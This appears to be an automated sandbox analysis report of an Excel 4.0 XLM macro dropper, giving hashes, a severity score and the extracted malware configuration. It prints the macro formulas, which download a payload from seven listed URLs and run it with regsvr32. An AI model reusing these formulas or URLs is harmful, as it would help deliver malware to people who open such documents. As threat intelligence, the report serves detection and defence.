General

  • Target

    4a81fc7df6a1256bdbe3e218c70b552302d32046b2632c1421dec61c06383ce1

  • Size

    38KB

  • Sample

    241119-m4at5awanj

  • MD5

    a31dde1b65cbdf0893fecdb09791bd97

  • SHA1

    7def6d937c27d2558c3af84855d7ac8c744a0aae

  • SHA256

    4a81fc7df6a1256bdbe3e218c70b552302d32046b2632c1421dec61c06383ce1

  • SHA512

    81b4815ee80ceb2567917c937be8a56b13cd655e28893033acdfea5fec266a11244b5cb64feb45adfefad419991de37a6fb4e0427234da1b6e8575424093ea0e

  • SSDEEP

    768:ibdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:iwDOZZ1ZYpoQ/pMAeVIyYzaT

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/

https://risamfg.com/wp-admin/JtqFQW/

https://thailand-rocco.com/wp-content/gE7UvFwLh/

https://pregy.org/test/rXTl1DEv0CWCE/

https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/

https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/

https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://risamfg.com/wp-admin/JtqFQW/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thailand-rocco.com/wp-content/gE7UvFwLh/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pregy.org/test/rXTl1DEv0CWCE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/

xlm40.dropper

https://risamfg.com/wp-admin/JtqFQW/

xlm40.dropper

https://thailand-rocco.com/wp-content/gE7UvFwLh/

xlm40.dropper

https://pregy.org/test/rXTl1DEv0CWCE/

xlm40.dropper

https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/

xlm40.dropper

https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/

xlm40.dropper

https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/

Targets

    • Target

      4a81fc7df6a1256bdbe3e218c70b552302d32046b2632c1421dec61c06383ce1

    • Size

      38KB

    • MD5

      a31dde1b65cbdf0893fecdb09791bd97

    • SHA1

      7def6d937c27d2558c3af84855d7ac8c744a0aae

    • SHA256

      4a81fc7df6a1256bdbe3e218c70b552302d32046b2632c1421dec61c06383ce1

    • SHA512

      81b4815ee80ceb2567917c937be8a56b13cd655e28893033acdfea5fec266a11244b5cb64feb45adfefad419991de37a6fb4e0427234da1b6e8575424093ea0e

    • SSDEEP

      768:ibdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:iwDOZZ1ZYpoQ/pMAeVIyYzaT

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks